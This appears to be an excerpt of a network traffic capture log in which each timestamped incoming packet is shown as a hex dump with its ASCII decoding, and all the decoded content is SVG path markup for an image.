2023-07-27 19:54:08 UTC	2869	IN	Data Raw: 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 34 38 2e 33 37 2c 32 38 39 2e 31 38 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 34 38 2e 30 37 2c 32 38 30 2e 34 31 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 Data Ascii: 9,0,0,1,.2,3.62"></path><path class="cls-7" d="M248.37,289.18a2.18,2.18,0,0,1-1,2.83,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M248.07,280.41a2.16,2.16,0,0,1-1,2.82,3.17,3.17
2023-07-27 19:54:08 UTC	2885	IN	Data Raw: 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 37 30 2e 30 38 2c 31 33 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 36 39 2e 37 38 2c 31 33 30 2e 32 36 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d Data Ascii: "></path><path class="cls-7" d="M270.08,139a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M269.78,130.26a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-
2023-07-27 19:54:08 UTC	2901	IN	Data Raw: 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 30 39 2c 32 33 34 2e 34 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 30 38 2e 37 32 2c 32 32 35 2e 36 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 Data Ascii: h><path class="cls-7" d="M309,234.4a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3,3,0,0,1,.65-3.66,2.84,2.84,0,0,1,3.66,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M308.72,225.62a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1
2023-07-27 19:54:08 UTC	2917	IN	Data Raw: 3d 22 4d 33 33 30 2e 37 33 2c 38 34 2e 32 35 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 37 2c 32 2e 38 37 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 34 37 2e 36 37 2c 33 32 31 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 Data Ascii: ="M330.73,84.25a2.18,2.18,0,0,1-1,2.83,3.17,3.17,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.87,2.87,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M347.67,321a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2
2023-07-27 19:54:08 UTC	2933	IN	Data Raw: 20 64 3d 22 4d 33 36 39 2e 36 37 2c 31 37 39 2e 36 31 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 37 2c 32 2e 38 37 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 36 39 2e 33 38 2c 31 37 30 2e 38 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 Data Ascii: d="M369.67,179.61a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.66,2.87,2.87,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M369.38,170.83a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2
2023-07-27 19:54:08 UTC	2949	IN	Data Raw: 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 31 31 2e 37 2c 33 33 39 2e 31 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d Data Ascii: 09,2.81,2.81,0,0,1,.59-3.37,2.64,2.64,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M311.7,339.13a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.18,3.32"></path><path class=
2023-07-27 19:54:08 UTC	2965	IN	Data Raw: 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 31 2e 34 2c 31 39 32 2e 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 31 2e 31 33 2c 31 38 34 2e 38 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 Data Ascii: 3.32"></path><path class="cls-9" d="M331.4,192.9a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.47,2.47,0,0,1,.18,3.33"></path><path class="cls-9" d="M331.13,184.83a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8
2023-07-27 19:54:08 UTC	2981	IN	Data Raw: 36 37 2c 32 37 32 2e 35 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 36 2e 36 39 2c 32 36 34 2e 34 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 Data Ascii: 67,272.57a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.19,3.33"></path><path class="cls-9" d="M366.69,264.49a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.59-3.37,2.63,2.63,0,0,1,3
2023-07-27 19:54:08 UTC	2997	IN	Data Raw: 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 32 2e 32 35 2c 33 34 34 2e 31 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 32 2c 33 33 36 2e 30 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 Data Ascii: ,3.37,0,2.45,2.45,0,0,1,.19,3.32"></path><path class="cls-9" d="M402.25,344.16a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M402,336.08a2,2,0,0,1-.9,2.6,2
2023-07-27 19:54:08 UTC	3013	IN	Data Raw: 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 31 2e 36 37 2c 31 38 39 2e 38 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 Data Ascii: -3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M421.67,189.85a2,2,0,0,1-.9,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.59-3.37,2.64,2.64,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><pa
2023-07-27 19:54:08 UTC	3029	IN	Data Raw: 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 35 37 2e 32 33 2c 32 36 39 2e 35 31 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 35 37 2c 32 36 31 2e 34 34 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c Data Ascii: "></path><path class="cls-9" d="M457.23,269.51a2,2,0,0,1-.9,2.61,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M457,261.44a2,2,0,0,1-.91,2.6,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,
2023-07-27 19:54:08 UTC	3045	IN	Data Raw: 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 39 32 2e 35 32 2c 33 34 31 2e 31 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 39 32 2e 32 35 2c 33 33 33 61 32 2c 32 2c 30 2c 30 Data Ascii: ,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M492.52,341.1a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.47,2.47,0,0,1,.19,3.33"></path><path class="cls-9" d="M492.25,333a2,2,0,0
2023-07-27 19:54:08 UTC	3061	IN	Data Raw: 32 2e 38 2c 30 2c 30 2c 31 2c 35 30 38 2c 31 39 33 61 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2c 31 38 36 2e 37 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d Data Ascii: 2.8,0,0,1,508,193a2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.19,3.32"></path><path class="cls-9" d="M512,186.79a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M
2023-07-27 19:54:08 UTC	3077	IN	Data Raw: 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 37 2e 35 31 2c 32 36 36 2e 34 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 37 2e 32 34 2c 32 35 38 2e 33 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 Data Ascii: 33"></path><path class="cls-9" d="M547.51,266.46a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M547.24,258.38a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.8
2023-07-27 19:54:08 UTC	3093	IN	Data Raw: 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 32 2e 38 2c 33 33 38 2e 30 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 Data Ascii: 0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.18,3.32"></path><path class="cls-9" d="M582.8,338.05a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path
2023-07-27 19:54:08 UTC	3877	IN	Data Raw: 33 38 2c 33 37 2e 37 35 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 39 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 33 2e 31 33 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 33 2e 31 36 2c 33 31 2e 32 37 61 31 2e 35 39 2c 31 2e 35 39 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 38 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c Data Ascii: 38,37.75a1.61,1.61,0,0,1-.72,2.09,2.37,2.37,0,0,1-3.13-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M333.16,31.27a1.59,1.59,0,0,1-.72,2.08,2.34,2.34,0,0,1-3.12-.88,2.24,2.24,0,0,1,.47-2.69,2.1,2.1,0,
2023-07-27 19:54:08 UTC	3893	IN	Data Raw: 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 31 2e 37 2c 39 35 2e 32 61 31 2e 35 39 2c 31 2e 35 39 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 38 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 31 2e 34 38 2c 38 38 2e 37 31 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c Data Ascii: .67"></path><path class="cls-9" d="M361.7,95.2a1.59,1.59,0,0,1-.73,2.08,2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M361.48,88.71a1.6,1.6,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,
2023-07-27 19:54:08 UTC	3909	IN	Data Raw: 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 39 30 2c 31 35 32 2e 36 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 38 39 2e 38 2c 31 34 36 2e 31 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c Data Ascii: 